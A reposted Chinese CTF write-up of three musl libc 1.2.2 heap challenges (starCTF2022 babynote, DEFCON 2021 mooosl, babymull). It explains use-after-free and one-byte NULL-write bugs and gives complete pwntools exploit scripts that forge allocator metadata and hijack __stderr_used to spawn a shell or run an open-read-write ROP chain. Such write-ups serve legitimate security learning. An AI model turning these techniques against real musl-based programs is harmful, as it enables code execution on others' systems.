【musl-pwn】msul-pwn 刷题记录 -- musl libc 1.2.2

前言

本文不分析 musl libc 相关源码,仅仅为刷题记录,请读者自行学习相关知识(看看源码就行了,代码量也不大)

starCTF2022_babynote

保护:保护全开

程序与漏洞分析:

程序实现了一个菜单堆,具有增删查丢的功能,其主要维护着以下结构:

增加时采用的头插法。然后查看功能是从链表头 bss_ptr 遍历该链表,比对 name 找到指定对应的结构,然后输出其 content。删除操作同理也是比对 name,然后依次释放 name_ptr,content_ptr 与控制堆块本身,但是其存在一些问题:

可以看到如果链表中存在两个元素,那么删除最后一个元素时并没有进行脱链操作,这里就导致了 UAF。

除此之外,程序还给了一个丢的功能:

这里直接将 bss_ptr 给置空了。

漏洞利用:

 musl libc 目前主要的利用手法就是打 dequeue 中的 unlink,然后劫持 IO 控制程序执行流。

所以总体如下:

        1)泄漏 libc

        2)泄漏 chunk_addr -> group -> meta -> meta_area -> secret

        3)伪造 meta_area -> meta -> group -> chunk,伪造 io_file

        4)释放伪造的 chunk,修改 __stderr_used 为 fake_io_file

        5)然后执行 exit 劫持程序执行流

其实就是一些堆风水的工作,挺无聊的说实话,记录一下关键点吧。

1)泄漏 libc / chunk_addr

这里主要就是通过堆风水形成如下结构:一个堆块即是控制堆块又是一个 content 堆块。如果 size足够大的话,其就会使用 mmap 分配空间,这个跟 libc 有固定偏移。

这里我们可以利用第一个元素去泄漏第二个元素的 name_ptr 和 content_ptr(这里的布局不一定如图所示,这里就是画了一个草图,根据自己的堆风水而定)

2)泄漏 secret,这个是后面伪造 meta_area 用的

也是通过堆风水去修改 content_ptr 的值实现任意地址读。由于在第1)步中我们泄漏了 name_ptr 这个堆指针,所以可以根据其与 group 的偏移计算出 group 的地址,从而泄漏 meta,泄漏了 meta,其 meta&-4096 就是 meta_area,这里可以泄漏 secret 了

3)相关伪造操作

这里其实没啥好说的,直接在 content 上面伪造就行了,将 content 的大小搞大一点,这里就会调用 mmap 分配,而 libc 地址又是知道的,所以伪造的相关地址也是知道的。一些填充值直接调试填就好了。但是需要注意的是:meta_area 地址必须是页对齐的,chunk 地址必须是8字节对齐的

4)释放伪造的 chunk

修改 content_ptr 为 fake_chunk_addr 即可

在进行堆风水的时候最好开始的时候保留一个 chunk,不然测试发现后面会切换到其他 meta。

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn", checksec=False)
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'option: 'def add(name, data, name_size=None, data_size=None):sla(menu, b'1')if name_size is None: name_size=len(name)if data_size is None: data_size=len(data)sla(b'name size: ', byte(name_size))sda(b'name: ', name)sla(b'note size: ', byte(data_size))sda(b'note content: ', data)def find(name, name_size=None):sla(menu, b'2')if name_size is None: name_size=len(name)sla(b'name size: ', byte(name_size))sda(b'name: ', name)def dele(name, name_size=None):sla(menu, b'3')if name_size is None: name_size=len(name)sla(b'name size: ', byte(name_size))sda(b'name: ', name)def forget():sla(menu, b'4')def eexit():sla(menu, b'5')def leak_addr():addr = 0for i in range(8):addr |= int(rc(2), 16) << (8*i);return addr#gdb.attach(io, 'b *$rebase(0x00000000000016A1)')
#gdb.attach(io, 'b *$rebase(0x00000000000018BE)')add(b'A', b'X')
for _ in range(8):find(b'B'*0x20)
forget()
add(b'B', b'1'*0x20)for _ in range(5):find(b'C'*0x20)
add(b'C', b'2'*0x20)
dele(b'B')
add(b'X', b'A'*0x1000)
find(b'B')
rut(b':')group_0x10 = leak_addr() - 0x60
libc_base = leak_addr() + 0x3fe0
info("group_0x10", group_0x10)
info("libc_base", libc_base)for _ in range(5):find(b'C'*0x20)pay = p64(group_0x10+0x50) + p64(group_0x10) + p64(1) + p64(0x20)
find(pay)
find(b'B')rut(b':')
meta_0x10 = leak_addr()
meta_area_0x10 = meta_0x10 & (-4096)
info("meta_0x10", meta_0x10)
info("meta_area_0x10", meta_area_0x10)for _ in range(5):find(b'D'*0x20)pay = p64(group_0x10+0x50) + p64(meta_area_0x10) + p64(1) + p64(0x20)
find(pay)
find(b'B')
rut(b':')
secret = leak_addr()
info("secret", secret)libc.address = libc_base
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym.system
stderr_used = libc.sym.__stderr_used
info("binsh", binsh)
info("system", system)
info("__stderr_used", stderr_used)for _ in range(4):find(b'M'*0x20)fake_addr = libc_base - 0x2aa0
fake_meta_area_addr = fake_addr + 0xaa0
fake_meta_addr = fake_meta_area_addr + 0x18
fake_group_addr = fake_addr
fake_chunk_addr = fake_addr + 0x10
fake_io_file_addr = fake_addr + 0x300info("fake_meta_area_addr", fake_meta_area_addr)
info("fake_meta_addr", fake_meta_addr)
info("fake_group_addr", fake_group_addr)
info("fake_chunk_addr", fake_chunk_addr)
info("fake_io_file_addr", fake_io_file_addr)last_idx, sizecalss, maplen = 5, 3, 1
union = last_idx | (1<<5) | (sizecalss<<6) | (maplen<<12)
fake_meta_area = p64(secret) + p64(0) + p64(4)
fake_meta = p64(fake_io_file_addr) + p64(stderr_used) + p64(fake_group_addr) + p32(62) + p32(0) + p64(union)
fake_group = p64(fake_meta_addr) + p32(last_idx) + p32((0x80<<8)) + b'A'*0x30 + b'\x00'*0x10fake_io_file = b'/bin/sh\x00'.ljust(0x28, b'\x00') + p64(1) + p64(0)*3 + p64(system)pay0 = p64(group_0x10+0x10) + p64(fake_chunk_addr) + p64(1) + p64(0x20)
pay1 = fake_group.ljust(0x300, b'A') + fake_io_file
pay1 = pay1.ljust(0xaa0, b'\x00') + fake_meta_area + fake_meta
pay1 = pay1.ljust(0x1000, b'B')add(pay0, pay1)
dele(b'A')
#pause()
eexit()
sh()

效果如下:

defcon2021_mooosl

starCTF2022_babynote 这题其实就是根据这题改编的。

保护:保护全开

程序与漏洞分析:

程序实现了一个菜单堆,具有增删查的功能,其主要维护着以下结构:

增加功能就是根据指定的 index 找到对应的链表,然后利用头插法插入。查操作也是先根据 index 找到对应的链表,然后遍历链表对比 key 找到对应的结构,然后输出其 value 数据。

漏洞在删除操作中,删除操作也是先通过 index 找到对应链表,然后遍历链表对比 key 进行脱链删除操作,但是这里存在的问题是当一个链表中存在2个以上的元素并且删除最后一个时没有进行脱链操作,导致UAF。

漏洞利用:

漏洞利用跟上一题差不多,没啥好说的,毕竟上一题就是这一题改编的。

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn", checksec=False)
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'option: 'def add(key, value, key_size=None, value_size=None):sla(menu, b'1')if key_size is None: key_size=len(key)if value_size is None: value_size=len(value)sla(b'key size: ', byte(key_size))sda(b'key content: ', key)sla(b'value size: ', byte(value_size))sda(b'value content: ', value)def show(key, key_size=None):sla(menu, b'2')if key_size is None: key_size=len(key)sla(b'key size: ', byte(key_size))sda(b'key content: ', key)def dele(key, key_size=None):sla(menu, b'3')if key_size is None: key_size=len(key)sla(b'key size: ', byte(key_size))sda(b'key content: ', key)def eexit():sla(menu, b'4')def leak_addr():addr = 0for i in range(8):addr |= int(rc(2), 16) << (8*i);return addrdef get_index(key):mul = 2021for ch in key:mul = 0x13377331*mul + ord(ch)return mul&0xffffffffdef get_key(key):i = 0index = get_index(key) & 0xfffwhile True:if (get_index(str(i))&0xfff) == index and str(i) != key:return str(i).encode()i += 1#gdb.attach(io, 'b *$rebase(0x00000000000018BE)')add(b'A', b'B')
for _ in range(5):show(b'P'*0x30)add(b'B', b'B'*0x30)
add(get_key('B'), b'B')
dele(b'B')for _ in range(3):show(b'P'*0x30)add(b'C', b'C'*0x1000)
show(b'B')
rut(b':')
group_0x10 = leak_addr() - 0x70
libc_base = leak_addr() + 0x3fe0
info("group_0x10", group_0x10)
info("libc_base", libc_base)for _ in range(3):show(b'P'*0x30)pay = p64(group_0x10+0x30) + p64(group_0x10) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
show(pay)
show(b'B')
rut(b':')
meta_0x10 = leak_addr()
meta_area_0x10 = meta_0x10 & (-4096)
info("meta_0x10", meta_0x10)
info("meta_area_0x10", meta_area_0x10)for _ in range(3):show(b'P'*0x30)pay = p64(group_0x10+0x30) + p64(meta_area_0x10) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
show(pay)
show(b'B')
rut(b':')
secret = leak_addr()
info("secret", secret)libc.address = libc_base
system = libc.sym.system
stderr_used = libc.sym.__stderr_used
info("system", system)
info("__stderr_used", stderr_used)for _ in range(2):show(b'P'*0x30)fake_addr = libc_base - 0x2aa0
fake_meta_area_addr = fake_addr + 0xaa0
fake_meta_addr = fake_meta_area_addr + 0x18
fake_group_addr = fake_addr
fake_chunk_addr = fake_addr + 0x10
fake_io_file_addr = fake_addr + 0x300info("fake_meta_area_addr", fake_meta_area_addr)
info("fake_meta_addr", fake_meta_addr)
info("fake_group_addr", fake_group_addr)
info("fake_chunk_addr", fake_chunk_addr)
info("fake_io_file_addr", fake_io_file_addr)last_idx, sizecalss, maplen = 5, 3, 1
union = last_idx | (1<<5) | (sizecalss<<6) | (maplen<<12)
fake_meta_area = p64(secret) + p64(0) + p64(4)
fake_meta = p64(fake_io_file_addr) + p64(stderr_used) + p64(fake_group_addr) + p32(62) + p32(0) + p64(union)
fake_group = p64(fake_meta_addr) + p32(last_idx) + p32((0x80<<8)) + b'A'*0x30 + b'\x00'*0x10
fake_io_file = b'/bin/sh\x00'.ljust(0x28, b'\x00') + p64(1) + p64(0)*3 + p64(system)key = p64(group_0x10+0x20) + p64(fake_chunk_addr) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
value = fake_group.ljust(0x300, b'A') + fake_io_file
value = value.ljust(0xaa0, b'\x00') + fake_meta_area + fake_meta
value = value.ljust(0x1000, b'B')add(key, value)
dele(b'B')
eexit()
#debug()
sh()

效果如下:

babymull

这个题目跟之前的有一点不同,之前我们都是伪造 fake_chunk 然后根据 fake_chunk 伪造 fake_goup,进而伪造 fake_meta 和 fake_meta_area。但是这个题目我们不伪造 fake_chunk,我们知道 chunk 是根据 offset 找到的 group,所以如果我们能够修改 chunk 的 offset,便可以劫持 group,从而伪造 fake_group 后面就都是一样的了。

保护:保护全开,并且有沙箱

题目实现了一个菜单堆, 具有增删查的功能,并且还给了一个后门函数。其中查和后门都只能执行一次。题目主要维护着以下结构:

先来看下 show 功能:

可以看到这里用 %s 输出 name,所以如果能够将 name 填满,则会将 data_ptr 指针输出。而 data 的大小在 [1,0x1000] 之间,所以其可能是一个 mmap 分配的空间,所以可以用来泄漏 libc。

但是在 add 时填充 name 时最多输入15个字符: 

但是这里存在问题,这里memcpy不会在最后填上\x00,所以可以利用堆块本身残余的字符将name这16个字节填满。

在后门函数中存在任意地址泄漏和任意地址写一字节NULL:

因为后面要伪造meta_area,所以得泄漏secret,怎么泄漏呢?在上面两题我们是通过先泄漏group,然后泄漏meta,进而泄漏meta_area,然后去泄漏meta_area中secret(其实这里做麻烦了,呜呜呜)。但是我们知道malloc_context是全局的,并且在libc中,所以在泄漏了libc后,可以直接去泄漏malloc_context中的secret。所以利用后门可以直接泄漏secret。

删除操作本身不存在漏洞,所以现在就只有后门中的一字节任意地址写NULL这个漏洞了。利用思路如下:

堆风水形成如下布局:(这个算不上堆风水,先后申请两个0x1000的堆块就行,为啥是0x1000呢?方便我们在里面伪造相应的结构体,并且0x1000的堆块是mmap分配的,所以其地址相当于已知)

利用后门函数修改 chunk2 的 offset 字段的低字节为0,这样当释放chunk2时,其会根据 group_addr = chunk2_addr - 0x10 - 0x10*offset 找到 group,这时侯由于 offset 变小了(测试就是变小了),所以 group_addr 就会落在 chunk1 中,所以可以在chunk1中伪造group,后面伪造meta/meta_area 啥的就是如出一辙了。

坑点:chunk2每释放一次,其chunk2_addr就往下走0x10,chunk1一样,不知道啥原因。由于这个害的我调试调了好久,悲......

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr   = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'Your choice >> '
def add(content, size=None, name=b'A'*0xF):sla(menu, b'1')sda(b'Name: ', name)if size is None: size = len(content)sla(b'Size: ', byte(size))if size == len(content): sda(b'Content: ', content)else: sla(b'Content: ', content)def dele(idx):sla(menu, b'2')sla(b'Index: ', byte(idx))def show(idx):sla(menu, b'3')sla(b'Index: ', byte(idx))def exit():sla(menu, b'4')def backdoor(addr0, addr1):sla(menu, b'1932620593')sl(byte(addr0))sleep(0.1)sl(byte(addr1))for _ in range(5):add(b'B'*0x20)
dele(0)
#dele(1)
add(b'A', 0x1000) # 0
add(b'B', 0x1000) # 5
show(5)
rut(b'Name:')
rc(0x10)
libc.address = addr64(b' C') + 0x2aa0
info('libc_base', libc.address)
o = libc.sym.open
r = libc.sym.read
w = libc.sym.write
rdi = libc.address + 0x0000000000015536  # pop rdi ; ret
rsi = libc.address + 0x000000000001b3a9  # pop rsi ; ret
rdx = libc.address + 0x00000000000177c7  # pop rdx ; ret
gadget = libc.address + 0x000000000004bcf3 # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
malloc_context = libc.sym.__malloc_context
stderr = libc.sym.__stderr_usedinfo('open', o)
info('read', r)
info('write', w)
info('__malloc_context', malloc_context)
info('__stderr_used', stderr)change_byte_by_zero_addr = libc.address - 0x2aa0 + 0x8 + 0x6
fake_file_addr = libc.address - 0x2aa0 + 0x10
fake_meta_area_addr = libc.address - 0x2aa0 - 0x560
fake_meta_addr = fake_file_addr + 0x100
fake_group_addr = libc.address - 0x2aa0 - 0x100*16 - 0x10 + 0x10
fake_group_to_first_chunk_offset = 0x530
fake_meta_area_to_first_chunk_offset = 0xfe0
end_to_second_chunk_offset = 0xfdcinfo('change_byte_by_zero_addr', change_byte_by_zero_addr)
info('fake_file_addr', fake_file_addr)
info('fake_meta_area_addr', fake_meta_area_addr)
info('fake_meta_addr', fake_meta_addr)
info('fake_group_addr', fake_group_addr)fake_stack = fake_file_addr + 0x200
flag_str = fake_file_addr
flag_buf = fake_file_addr + 0x300union = 1 + (1<<5) + (27<<6) + (4<<12)
fake_file = b'./flag\x00\x00' + p64(0)*5 + p64(fake_stack) + p64(rdi) + p64(0) + p64(gadget)
fake_meta = p64(fake_file_addr) + p64(stderr) + p64(fake_group_addr) + p64(1) + p64(union)
fake_group = p64(fake_meta_addr) + p64(1) + p64(0)orw = p64(flag_str) + p64(rsi) + p64(0) + p64(o)
orw+= p64(rdi) + p64(3) + p64(rsi) + p64(flag_buf) + p64(rdx) + p64(0x30) + p64(r)
orw+= p64(rdi) + p64(1) + p64(rsi) + p64(flag_buf) + p64(rdx) + p64(0x30) + p64(w)
dele(5)
pay = fake_file.ljust(0x100, b'\x00') + fake_meta
pay = pay.ljust(0x200, b'\x00')
pay+= orw
pay = pay.ljust(0xfd8, b'\x00')
pay+= p64(5)
print(hex(len(pay)))
add(pay, 0x1000) # 5
backdoor(change_byte_by_zero_addr, malloc_context)
secret = int(rc(18), 16)
info('secret', secret)
fake_meta_area = p64(secret).ljust(0x10, b'\x00')dele(0)
pay = b'\x00'*0x530 + fake_group
pay = pay.ljust(0xfd0, b'\x00') + fake_meta_area
print(hex(len(pay)))
add(pay, 0x1000) # 0
#gdb.attach(io, 'b *$rebase(0x0000000000001862)')
#pause()
dele(5)
exit()
#debug()
sh()

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/203039.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自适应局部降噪滤波器的python实现-------冈萨雷斯数字图像处理

自适应局部降噪滤波器 自适应局部降噪滤波器是一种信号处理技术&#xff0c;用于降低图像或信号中的噪声水平&#xff0c;同时保留图像或信号的细节。其原理基于局部区域内信号的统计特性和噪声的特征&#xff0c;通过动态调整滤波器的参数来适应不同区域的信号和噪声属性。 自…

Day52力扣打卡

打卡记录 Collapsing Strings&#xff08;Trie树&#xff09; 链接 #include <iostream> #include <algorithm> using namespace std; const int N 2e6 10; int son[N][26], idx, cnt1[N], cnt2[N]; int main() {auto insert [&](string& str, int* c…

【Qt】在表格QTableWidget或者QTableView中,当主键Id存在时更新数据,不存在时添加数据解决方案

问题 有时在开发中&#xff0c;表格需要显示数据&#xff0c;每一行呢&#xff0c;需要记录对应的id。 当更新表格数据时&#xff0c;会根据id进行更新&#xff0c;id存在就更新行数据&#xff0c;不存在就添加一行新数据。 解决方案 如何知道id存在还是不存在呢&#xff1f…

记一次CDH集群迁移产生的问题——HIVE

背景 生产环境CDH集群迁移到新的环境&#xff0c;迁移之后使用Hive Client方执行任务一直失败。 问题1&#xff1a;metadata.SessionHiveMetaStoreClient 产生报错&#xff1a; FAILED: SemanticException org.apache.hadoop.hive.ql.metadata.HiveException: java.lang.Ru…

车联网架构设计(二)_消息缓存

在上一篇博客车联网架构设计(一)_消息平台的搭建-CSDN博客中&#xff0c;我介绍了车联网平台需要实现的一些功能&#xff0c;并介绍了如何用EMQXHAPROXY来搭建一个MQTT消息平台。车联网平台的应用需要消费车辆发布的消息&#xff0c;同时也会下发消息给车辆&#xff0c;以实现车…

SpringBoot 属性配置解析

属性配置介绍 spring官方提供的17中属性配置的方式 Devtools全局配置测试环境TestPropertySource注解测试环境properties属性命令行参数SPRING_APPLICATION_JSON属性ServletConfig初始化参数ServletContext初始化参数JNDI属性JAVA系统属性操作系统环境变量RandomValueProperty…

基于OpenCV+CNN+IOT+微信小程序智能果实采摘指导系统——深度学习算法应用(含pytho、JS工程源码)+数据集+模型(二)

目录 前言总体设计系统整体结构图系统流程图 运行环境Python环境TensorFlow 环境Jupyter Notebook环境Pycharm 环境微信开发者工具OneNET云平台 相关其它博客工程源代码下载其它资料下载 前言 本项目基于Keras框架&#xff0c;引入CNN进行模型训练&#xff0c;采用Dropout梯度…

uni-app 设置tabBar的setTabBarBadge购物车/消息等角标

目录 一、效果二、代码实现二、全部代码1.index.vue2.cart.vue 三、真实案例参考最后 一、效果 二、代码实现 只要使用uni.setTabBarBadge和uni.removeTabBarBadge来进行对红点的设置和移除。 主要代码&#xff1a; //设置红点 uni.setTabBarBadge({index: 1, // 底部菜单栏…

大数据可视化项目——基于Python豆瓣电影数据可视化分析系统的设计与实现

大数据可视化项目——基于Python豆瓣电影数据可视化分析系统的设计与实现 本项目旨在通过对豆瓣电影数据进行综合分析与可视化展示&#xff0c;构建一个基于Python的大数据可视化系统。通过数据爬取收集、清洗、分析豆瓣电影数据&#xff0c;我们提供了一个全面的电影信息平台…

论文阅读[2023ICME]Edge-FVV: Free Viewpoint Video Streaming by Learning at the Edge

Edge-FVV: Free Viewpoint Video Streaming by Learning at the Edge 会议信息&#xff1a; Published in: 2023 IEEE International Conference on Multimedia and Expo (ICME) 作者&#xff1a; 1 背景 FVV允许观众从多个角度观看视频&#xff0c;但是如果所选视点的视频…

机器学习-逻辑回归

一、引言 逻辑回归&#xff08;Logistic Regression&#xff09;是一种广泛应用于分类问题的监督学习算法。尽管名字中含有“回归”二字&#xff0c;但这并不意味着它用于解决回归问题。相反&#xff0c;逻辑回归专注于解决二元或多元分类问题&#xff0c;如邮件是垃圾邮件还是…

vue2+typescript使用高德地图2.0版本

高德地图 webjs api 2.0官网教程 AMap.Driving使用说明 <div class"mmp"><div id"map" ref"mapcontainer"></div></div><script lang"ts"> //安全密钥 window._AMapSecurityConfig{securityJsCode: &qu…

ExoPlayer架构详解与源码分析(10)——H264Reader

系列文章目录 ExoPlayer架构详解与源码分析&#xff08;1&#xff09;——前言 ExoPlayer架构详解与源码分析&#xff08;2&#xff09;——Player ExoPlayer架构详解与源码分析&#xff08;3&#xff09;——Timeline ExoPlayer架构详解与源码分析&#xff08;4&#xff09;—…

数据结构初阶之二叉树性质练习与代码练习

个人主页&#xff1a;点我进入主页 专栏分类&#xff1a;C语言初阶 C语言程序设计————KTV C语言小游戏 C语言进阶 C语言刷题 数据结构初阶 Linux 欢迎大家点赞&#xff0c;评论&#xff0c;收藏。 一起努力,共赴大厂。 目录 1.前言 2.性质练习 3…

Python中的匿名函数是什么

匿名函数 lambda x , y : xy 1.匿名的目的就是要没有名字&#xff0c;给匿名函数赋给一个名字是没有意义的。 2.匿名函数的参数规则、作用域关系与有名函数是一样的。 3.匿名函数的函数体通常应该是 一个表达式,该表达式必须要有一个返回值。 flambda x,n:x ** n print(f…

我把springboot项目从Java 8 升级 到了Java 17 的过程总结,愿为君提前踩坑!

项目从jdk8升级到jdk17&#xff0c;我不是为了追求java 17的新特性&#xff08;准确来说也还没有去了解有什么新特性&#xff09;&#xff0c;也不是为了准确与时俱进&#xff0c;永远走在java行列的最前端&#xff0c;纯粹因为项目需要&#xff0c;因为我们都知道&#xff0c;…

【C++】:set和map

朋友们、伙计们&#xff0c;我们又见面了&#xff0c;本期来给大家解读一下有关多态的知识点&#xff0c;如果看完之后对你有一定的启发&#xff0c;那么请留下你的三连&#xff0c;祝大家心想事成&#xff01; C 语 言 专 栏&#xff1a;C语言&#xff1a;从入门到精通 数据结…

深入理解 Java 虚拟机(JVM)从入门到精通

目录 一、JVM内存结构1、堆&#xff08;Heap&#xff09;&#xff08;1&#xff09;特点&#xff08;2&#xff09;堆内存分配&#xff08;3&#xff09;晋升到老年代的方式&#xff08;4&#xff09;堆内存检验方式2、虚拟机栈&#xff08;VM Stack&#xff09;&#xff08;1&…

OpenHarmony北向-让更广泛的应用开发者更容易参与

一、标准系统的体验 按照官方文档指导&#xff0c;这样操作&#xff0c;OH标准系统开发板就可以运行开发者开发的OpenHarmony应用了。 二、实际情况 按照开发文档上的说明&#xff0c;肯定是装不上的。因为OH不同的发行版&#xff0c;不同发行板不同的设备&#xff0c;IDE&…

uni-app中vue3表单校验失败

目录 1.问题 2.原因及解决方式 3.表单校验方式&#xff08;vue3&#xff09; 1.问题 在app中使用uni-forms表单&#xff0c;并添加校验规则&#xff0c;问题是即使输入内容&#xff0c;表单校验依然失败。 代码&#xff1a; <template><view><uni-forms r…